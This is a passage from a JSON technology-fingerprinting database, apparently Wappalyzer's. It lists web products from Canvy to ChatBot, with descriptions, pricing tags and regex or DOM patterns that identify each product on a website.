an online tool designed for fine art painters and poster designers to enhance the promotion and presentation of their artwork online.\",\n    \"icon\": \"Canvy.svg\",\n    \"js\": {\n      \"config.apiPath\": \"api\\\\.canvy\\\\.app/\",\n      \"config.cdnPath\": \"api\\\\.canvy\\\\.app/\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://canvy.com\"\n  },\n  \"Captain Up\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"Captain Up is a service that enhances user engagement and retention by utilising gamification, social, and communication tools to maximise user engagement and lifetime value.\",\n    \"icon\": \"CaptainUp.svg\",\n    \"js\": {\n      \"captain\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://captainup.com\"\n  },\n  \"Captch Me\": {\n    \"cats\": [\n      16,\n      36\n    ],\n    \"icon\": \"Captch Me.svg\",\n    \"js\": {\n      \"Captchme\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^https?://api\\\\.captchme\\\\.net/\"\n    ],\n    \"website\": \"https://captchme.com\"\n  },\n  \"Captivate.fm\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Captivate.fm is a podcast hosting and analytics platform that provides tools for creating, hosting, and distributing podcasts.\",\n    \"dom\": [\n      \"iframe[src*='player.captivate.fm/']\"\n    ],\n    \"icon\": \"Captivate.fm.svg\",\n    \"js\": {\n      \"CAPTIVATE_PLAYER_APP_URL\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.captivate.fm\"\n  },\n  \"Carbon Ads\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Carbon Ads is an ad tech company, that connects advertisers to users through targeted verticals called Circles.\",\n    \"dom\": [\n      \"div#carbonads-container\"\n    ],\n    \"icon\": \"Carbon Ads.svg\",\n    \"js\": {\n      \"_carbonads\": \"\",\n      \"_carbonads_go\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.carbonads\\\\.com/\"\n    ],\n    \"website\": \"https://carbonads.net\"\n  },\n  \"Carbonfact\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Carbonfact is a platform for fashion brands to manage their carbon emissions. It enables the measurement, reporting, and reduction of emissions in the apparel, textile, leather, and luxury sectors.\",\n    \"icon\": \"Carbonfact.svg\",\n    \"js\": {\n      \"carbonfact.refreshModule\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.carbonfact\\\\.com/\"\n    ],\n    \"website\": \"https://www.carbonfact.com\"\n  },\n  \"Carbonmade\": {\n    \"cats\": [\n      1,\n      51\n    ],\n    \"description\": \"Carbonmade is an online portfolio platform that provides tools and templates for creating and showcasing digital portfolios.\",\n    \"dom\": [\n      \"link[href*='carbon-media.accelerator.net/']\"\n    ],\n    \"icon\": \"Carbonmade.svg\",\n    \"js\": {\n      \"Carbon.ActionKit\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://carbonmade.com\"\n  },\n  \"CareCart\": {\n    \"cats\": [\n      98,\n      100\n    ],\n    \"description\": \"CareCart is a smart app to recover big value carts on all sizes of shopify stores.\",\n    \"icon\": \"CareCart.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.carecart\\\\.io/api/abandoned-cart/\"\n    ],\n    \"website\": \"https://carecart.io/abandoned-cart-recovery-app\"\n  },\n  \"CareCart Cartly Abandoned Cart Recovery\": {\n    \"cats\": [\n      98,\n      100\n    ],\n    \"description\": \"Cartly Abandoned Cart Recovery by CareCart is a service that helps ecommerce businesses recover lost sales by sending automated reminders to customers who abandon their shopping carts.\",\n    \"icon\": \"CareCart.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.carecart\\\\.io/api/abandoned-cart/\"\n    ],\n    \"website\": \"https://carecart.io/cartly-abandoned-cart-recovery/\"\n  },\n  \"CareCart Sales Pop Up\": {\n    \"cats\": [\n      100,\n      5\n    ],\n    \"description\": \"CareCart Sales Pop Up is a stock countdown timer, recent sales notifications, live sales pop up widget.\",\n    \"icon\": \"CareCart.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sales-pop\\\\.carecart\\\\.io/\"\n    ],\n    \"website\": \"https://carecart.io/sales-pop-up-app\"\n  },\n  \"CareCloud\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"CareCloud is a platform that provides healthcare providers with a set of tools designed to enhance clinical workflows, improve patient outcomes, and streamline daily business operations.\",\n    \"icon\": \"CareCloud.svg\",\n    \"js\": {\n      \"CareCloud\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"community\\\\.carecloud\\\\.com/\"\n    ],\n    \"website\": \"https://www.carecloud.com/\"\n  },\n  \"Cargo\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Cargo is a professional site building platform for designers and artists.\",\n    \"icon\": \"Cargo.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"Cargo.Config\": \"\",\n      \"__cargo_js_ver__\": \"\"\n    },\n    \"meta\": {\n      \"cargo_title\": \"\"\n    },\n    \"scriptSrc\": [\n      \"(?<!elo\\\\.io)/cargo\\\\.\"\n    ],\n    \"website\": \"https://cargo.site\"\n  },\n  \"Carrd\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Carrd is a platform for building simple, responsive, one-page sites.\",\n    \"dom\": [\n      \"link[href*='.carrd.co'][rel='canonical']\"\n    ],\n    \"icon\": \"Carrd.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Apache HTTP Server\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"\\\\(\\\\!section\\\\s\\\\|\\\\|\\\\ssection\\\\.tagName\\\\s\\\\!\\\\=\\\\s\\\\'SECTION\\\\'\\\\)\\\\;confidence:90\"\n    ],\n    \"website\": \"https://carrd.co\"\n  },\n  \"Carro\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Carro connects participating Shopify stores together to enable cross-store selling or the ability for like-minded partners to directly sell each other products without the need for inventory, managing returns, or minimum order quantities.\",\n    \"icon\": \"Carro.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getcarro\\\\.com/\",\n      \"/carro\\\\.min\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://getcarro.com\"\n  },\n  \"Carrot quest\": {\n    \"cats\": [\n      10,\n      52\n    ],\n    \"description\": \"Carrot quest is a customer engagement and communication platform that aids businesses in improving interactions with users and customers through targeted messaging, in-app messaging, live chat, email campaigns, and user behavior tracking.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.carrotquest\\\\.app\"\n    },\n    \"icon\": \"Carrot quest.svg\",\n    \"js\": {\n      \"carrotquest\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.carrotquest.io\"\n  },\n  \"Cart Functionality\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Websites that have a shopping cart or checkout page, either using a known ecommerce platform or a custom solution.\",\n    \"dom\": [\n      \"a[href*='/cart']\",\n      \"a[href*='/order']\",\n      \"a[href*='/basket']\",\n      \"a[href*='/trolley']\",\n      \"a[href*='/bag/']\",\n      \"a[href*='/shoppingbag']\",\n      \"a[href*='/checkout']\",\n      \"a[href*='/winkelwagen']\",\n      \"[aria-controls='cart']\",\n      \"[class*='shopping-bag']\",\n      \"[class*='shopping-cart']\",\n      \"[class*='checkout']\",\n      \"[class*='winkelwagen']\"\n    ],\n    \"icon\": \"Cart-generic.svg\",\n    \"js\": {\n      \"google_tag_params.ecomm_pagetype\": \"\"\n    },\n    \"scriptSrc\": [\n      \"googlecommerce\\\\.com/trustedstores/api/js\"\n    ],\n    \"url\": [\n      \"/(?:cart|order|basket|trolley|bag|shoppingbag|checkout)\"\n    ],\n    \"website\": \"https://www.wappalyzer.com/technologies/ecommerce/cart-functionality\"\n  },\n  \"Cart.com\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Cart.com is an ecommerce platform built for high volume online stores and complex products with features such as multi-store management.\",\n    \"dom\": [\n      \"p.AmeriCommerce-powered-by-link > a[href*='.americommerce.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Cart.com.svg\",\n    \"js\": {\n      \"AC.storeDomain\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.americommerce\\\\.com/\"\n    ],\n    \"website\": \"https://www.americommerce.com\"\n  },\n  \"Cart.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Cart.js is a very small open-source Javascript library that makes the addition of powerful Ajax cart functionality to your Shopify theme a breeze.\",\n    \"icon\": \"Cart.js.png\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:shopify-cartjs/([\\\\d\\\\.]+)|assets)/rivets-cart\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://cartjs.org\"\n  },\n  \"CartFlows\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"CartFlows is a sales funnel builder for WordPress.\",\n    \"icon\": \"Cartflows.svg\",\n    \"js\": {\n      \"cartflows.active_checkout_cookie\": \"\",\n      \"cartflows_checkout_optimized_fields\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://cartflows.com\"\n  },\n  \"CartKit\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"CartKit build apps from fuss-free multi-channel marketing automation and campaigns to social proof popups and user session recording.\",\n    \"icon\": \"CartKit.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cartkitcdn\\\\.com/\"\n    ],\n    \"website\": \"https://www.cartkit.com\"\n  },\n  \"CartStack\": {\n    \"cats\": [\n      98\n    ],\n    \"description\": \"CartStack is a SaaS solution that allows any company with an ecommerce site or reservation system to increase revenue through reminding/encouraging consumers to return to their abandoned cart and complete their purchase.\",\n    \"icon\": \"CartStack.svg\",\n    \"js\": {\n      \"_cartstack\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.cartstack\\\\.\\\\w+\"\n    ],\n    \"website\": \"https://www.cartstack.com\"\n  },\n  \"Cartpanda\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Cartpanda is a platform for selling physical and digital products online, previously known as CartX.\",\n    \"icon\": \"Cartpanda.svg\",\n    \"js\": {\n      \"Cartpanda\": \"\",\n      \"Cartx\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cartpanda\\\\.com/\"\n    ],\n    \"website\": \"https://cartpanda.com\"\n  },\n  \"Carts Guru\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"Carts Guru is the all-in-one marketing automation tool for ecommerce stores.\",\n    \"icon\": \"Carts Guru.png\",\n    \"pricing\": [\n      \"payg\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.cartsguru\\\\.io/\"\n    ],\n    \"website\": \"https://www.carts.guru\"\n  },\n  \"Carussel\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Carussel is a dealer web toolkit designed to streamline the online presence and digital operations of automotive dealerships.\",\n    \"icon\": \"Carussel.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.carussel\\\\.dealer\\\\.toolkit\"\n    ],\n    \"website\": \"https://www.carussel.com\"\n  },\n  \"CasaSoft\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"CasaSoft is a provider of digital solutions tailored for real estate marketing needs.\",\n    \"dom\": [\n      \"link[href*='.casasoft.com']\"\n    ],\n    \"icon\": \"CasaSoft.svg\",\n    \"js\": {\n      \"casawpOptionParams\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://casasoft.ch\"\n  },\n  \"Caspio\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Caspio is an online database platform that enables the creation of business applications, custom forms, and reports without the need for coding.\",\n    \"icon\": \"Caspio.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.caspio\\\\.com/\"\n    ],\n    \"website\": \"https://www.caspio.com\"\n  },\n  \"Castle\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Castle is a tool that offers deep visibility into user activities on your website, allowing you to monitor and understand user behaviour in real-time.\",\n    \"dom\": [\n      \"link[href*='t.castle.io']\"\n    ],\n    \"icon\": \"Castle.svg\",\n    \"js\": {\n      \"_castle\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://castle.io\"\n  },\n  \"Catberry.js\": {\n    \"cats\": [\n      12,\n      18\n    ],\n    \"description\": \"Catberry.js is a framework for building isomorphic web applications that render on both the server and client sides using JavaScript.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Catberry\"\n    },\n    \"icon\": \"Catberry.js.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"catberry\": \"\",\n      \"catberry.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://catberry.github.io/\"\n  },\n  \"Catch\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Catch is a payment solution which allows merchants to use payments via bank payments instead of credit/debit cards.\",\n    \"icon\": \"Catch.svg\",\n    \"js\": {\n      \"Catch\": \"\"\n    },\n    \"website\": \"https://www.getcatch.com/\"\n  },\n  \"Catch Themes Catch Box\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Catch Box is a lightweight, box shaped, clean responsive WordPress theme by Catch Themes.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/catch-box/']\"\n    ],\n    \"icon\": \"Catch Themes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/catch-box(?:-pro)?/\"\n    ],\n    \"website\": \"https://catchthemes.com/themes/catch-box\"\n  },\n  \"Catch Themes Fotografie\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Fotografie is a modern photography WordPress theme that comes with high-quality features and minimal design by Catch Themes.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/fotografie/']\"\n    ],\n    \"icon\": \"Catch Themes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/fotografie(?:-pro)?/\"\n    ],\n    \"website\": \"https://catchthemes.com/themes/fotografie\"\n  },\n  \"Catylist\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Catylist is an all-in-one platform for commercial real estate brokers, offering CRE data, reporting and marketing tools, and property listings.\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.catylist\\\\.com/\"\n    ],\n    \"website\": \"https://cre.moodysanalytics.com/products/catylist\"\n  },\n  \"Cecil\": {\n    \"cats\": [\n      57\n    ],\n    \"cpe\": \"cpe:2.3:a:cecil:cecil:*:*:*:*:*:*:*:*\",\n    \"description\": \"Cecil is a CLI application, powered by PHP, that merge plain text files (written in Markdown), images and Twig templates to generate a static website.\",\n    \"icon\": \"Cecil.svg\",\n    \"meta\": {\n      \"generator\": \"^Cecil(?: ([0-9.]+))?$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://cecil.app\"\n  },\n  \"Celeritas\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Celeritas offers transportation logistics services for package deliveries.\",\n    \"icon\": \"Celeritas.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bCeleritas\\\\b\"\n    ],\n    \"website\": \"https://celeritastransporte.com\"\n  },\n  \"Celum\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Celum is a software developer that specialises in enterprise digital asset management and marketing content management systems.\",\n    \"dom\": [\n      \"img[src*='/celum/'], img[src*='/celum_assets/']\"\n    ],\n    \"icon\": \"Celum.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.celum.com\"\n  },\n  \"Cendyn\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Cendyn (formerly NextGuest) is a hospitality focused content management system.\",\n    \"headers\": {\n      \"x-powered-by\": \"^NextGuest CMS\"\n    },\n    \"icon\": \"cendyn.svg\",\n    \"saas\": true,\n    \"website\": \"https://www.cendyn.com\"\n  },\n  \"Censhare\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Censhare is a commercial digital experience platform in the form of an enterprise content management system.\",\n    \"dom\": [\n      \"img[data-src*='CENSHARE'], img[src*='CENSHARE']\"\n    ],\n    \"icon\": \"Censhare.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.censhare.com\"\n  },\n  \"CentOS\": {\n    \"cats\": [\n      28\n    ],\n    \"cpe\": \"cpe:2.3:o:centos:centos:*:*:*:*:*:*:*:*\",\n    \"description\": \"CentOS is a Linux distribution that provides a free, community-supported computing platform functionally compatible with its upstream source, Red Hat Enterprise Linux (RHEL).\",\n    \"headers\": {\n      \"Server\": \"CentOS\",\n      \"X-Powered-By\": \"CentOS\"\n    },\n    \"icon\": \"CentOS.svg\",\n    \"website\": \"https://centos.org\"\n  },\n  \"Centium\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Centium is a provider of technology solutions specializing in property and event management software for the hospitality industry, landmark world events, and the aviation sector.\",\n    \"dom\": [\n      \"div#page-footer > div[class*='centiumLink'], form[action*='bookings.centiumsoftware.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Centium.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"bookings\\\\.centiumsoftware\\\\.com\"\n    ],\n    \"website\": \"http://centiumsoftware.com\"\n  },\n  \"Centminmod\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"centminmod\"\n    },\n    \"icon\": \"centminmod.svg\",\n    \"implies\": [\n      \"CentOS\",\n      \"Nginx\",\n      \"PHP\"\n    ],\n    \"website\": \"https://centminmod.com\"\n  },\n  \"Centra\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Centra is the headless ecommerce platform.\",\n    \"dom\": [\n      \"img[src*='.centracdn.net/']\"\n    ],\n    \"excludes\": [\n      \"Magento\"\n    ],\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.centra(?:cdn)?\\\\.(?:com|net)\"\n    },\n    \"icon\": \"Centra.svg\",\n    \"js\": {\n      \"CENTRA_IMAGE_SIZES\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"centraCheckoutScript\"\n    ],\n    \"website\": \"https://centra.com\"\n  },\n  \"Centribal\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Centribal is a conversational platform designed for creating, managing, and training chatbots.\",\n    \"icon\": \"Centribal.svg\",\n    \"js\": {\n      \"centribot_services\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.centribal\\\\.com/\"\n    ],\n    \"website\": \"https://centribal.com\"\n  },\n  \"Cevoid\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Cevoid is an all-in-one user-generated content (UGC) platform designed for e-commerce brands.\",\n    \"icon\": \"Cevoid.svg\",\n    \"js\": {\n      \"cevoid.galleries\": \"\",\n      \"cevoid_gallery.load\": \"\",\n      \"cevoid_state.setSessionCookie\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://cevoid.com\"\n  },\n  \"Chabokan\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Chabokan is a cloud services provider, offering a wide range of incorporated cloud services including Cloud Object Storage, DBaaS, BaaS, and PaaS.\",\n    \"headers\": {\n      \"ch-powered-by\": \"Chabokan\\\\s\\\\(chabokan\\\\.net\\\\)\"\n    },\n    \"icon\": \"Chabokan.svg\",\n    \"pricing\": [\n      \"low\",\n      \"payg\"\n    ],\n    \"website\": \"https://chabokan.net\"\n  },\n  \"Chai\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Chai is a BDD / TDD assertion library for node and the browser that can be paired with any javascript testing framework.\",\n    \"icon\": \"Chai.svg\",\n    \"js\": {\n      \"chai\": \"\",\n      \"chai.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.chaijs.com\"\n  },\n  \"Chakra UI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Chakra UI is a simple, modular and accessible component library that gives you the building blocks you need to build your React applications.\",\n    \"dom\": [\n      \"html[style*='chakra-ui-color-mode'], body.chakra-ui-dark, body.chakra-ui-light, div.chakra-portal\"\n    ],\n    \"icon\": \"Chakra UI.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"\\\\.chakra-ui\\\\.\"\n    ],\n    \"website\": \"https://chakra-ui.com\"\n  },\n  \"Chameleon\": {\n    \"cats\": [\n      58\n    ],\n    \"description\": \"Chameleon is a sophisticated no-code platform for product success, empowering SaaS teams to build self-service user onboarding, feature adoption, and feedback collection.\",\n    \"icon\": \"Chameleon.svg\",\n    \"js\": {\n      \"chmln.Snippet.urls.fast\": \"fast\\\\.trychameleon\\\\.com\",\n      \"chmlnData.organizationAttributes\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.trychameleon\\\\.com/\"\n    ],\n    \"website\": \"https://www.trychameleon.com\"\n  },\n  \"Chameleon system\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"description\": \"Chameleon system is an ecommerce and content management system all-in-one, capable of being integrated straight from the manufacturer.\",\n    \"icon\": \"Chameleon system.png\",\n    \"meta\": {\n      \"generator\": \"Chameleon CMS/Shop System\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.chameleon-system.de\"\n  },\n  \"Chamilo\": {\n    \"cats\": [\n      21\n    ],\n    \"cpe\": \"cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*\",\n    \"description\": \"Chamilo is an open-source learning management and collaboration system.\",\n    \"dom\": [\n      \"link[href*='chamilo.org/']\"\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"Chamilo ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Chamilo.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"Chamilo ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.chamilo.org\"\n  },\n  \"Channel.io\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Channel.io is an all-in-one business communication platform that helps businesses connect with customers.\",\n    \"icon\": \"Channel.io.svg\",\n    \"js\": {\n      \"ChannelIO\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://channel.io\"\n  },\n  \"ChannelAdvisor\": {\n    \"cats\": [\n      10,\n      32\n    ],\n    \"description\": \"ChannelAdvisor is a provider of cloud-based solutions to ecommerce companies.\",\n    \"dom\": [\n      \"link[href*='.channeladvisor.com']\"\n    ],\n    \"icon\": \"ChannelAdvisor.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.channeladvisor\\\\.com/\"\n    ],\n    \"website\": \"https://www.channeladvisor.com\"\n  },\n  \"ChannelApe\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"ChannelApe is an ecommerce and inventory management solution for the footwear and apparel industry.\",\n    \"icon\": \"ChannelApe.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.channelape.com\",\n    \"xhr\": [\n      \"\\\\.channelape\\\\.com\"\n    ]\n  },\n  \"Chaport\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Chaport is a multi-channel live chat and chatbot software for business.\",\n    \"icon\": \"Chaport.svg\",\n    \"js\": {\n      \"chaport\": \"\",\n      \"chaportConfig\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.chaport\\\\.com\"\n    ],\n    \"website\": \"https://www.chaport.com\"\n  },\n  \"ChargeAfter\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"ChargeAfter is a platform that connects retailers and lenders to offer consumers personalized Point of Sale Financing options at checkout from multiple lenders. \",\n    \"icon\": \"ChargeAfter.svg\",\n    \"js\": {\n      \"ChargeAfter\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.chargeafter\\\\.com\"\n    ],\n    \"website\": \"https://chargeafter.com/\"\n  },\n  \"Chargebee\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Chargebee is a PCI Level 1 certified recurring billing platform for SaaS and subscription-based businesses.\",\n    \"icon\": \"Chargebee.svg\",\n    \"js\": {\n      \"Chargebee\": \"\",\n      \"chargebeeTrackFunc\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.chargebee\\\\.com/v([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.chargebee.com\"\n  },\n  \"Chart.js\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Chart.js is an open-source JavaScript library that allows you to draw different types of charts by using the HTML5 canvas element.\",\n    \"icon\": \"Chart.js.svg\",\n    \"js\": {\n      \"Chart\": \"\\\\;confidence:50\",\n      \"Chart.defaults.doughnut\": \"\",\n      \"chart.ctx.bezierCurveTo\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/Chart(?:\\\\.bundle)?(?:\\\\.min)?\\\\.js\\\\;confidence:75\",\n      \"chartjs\\\\.org/dist/([\\\\d.]+(?:-[^/]+)?|master|latest)/Chart.*\\\\.js\\\\;version:\\\\1\",\n      \"cdnjs\\\\.cloudflare\\\\.com/ajax/libs/Chart\\\\.js/([\\\\d.]+(?:-[^/]+)?)/Chart.*\\\\.js\\\\;version:\\\\1\",\n      \"cdn\\\\.jsdelivr\\\\.net/(?:npm|gh/chartjs)/chart\\\\.js@([\\\\d.]+(?:-[^/]+)?|latest)/dist/Chart.*\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.chartjs.org\"\n  },\n  \"Chartbeat\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Chartbeat is a web analytics service that provides real-time data and insights into website performance, audience engagement, and content effectiveness for publishers and media organizations.\",\n    \"icon\": \"Chartbeat.svg\",\n    \"js\": {\n      \"_sf_async_config\": \"\",\n      \"_sf_endpt\": \"\"\n    },\n    \"scriptSrc\": [\n      \"chartbeat\\\\.js\"\n    ],\n    \"website\": \"https://chartbeat.com\"\n  },\n  \"Chat Robot\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Chat Robot is a live chat system.\",\n    \"icon\": \"ChatRobot.svg\",\n    \"js\": {\n      \"CRChat\": \"\",\n      \"_crChat.browserInfo\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://chat-robot.com\"\n  },\n  \"ChatBot\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"ChatBot is a framework for AI chatbots, enabling users to create chatbots for various web services.\",\n    \"icon\": \"ChatBot.svg\",\n    \"pricing\": [\n      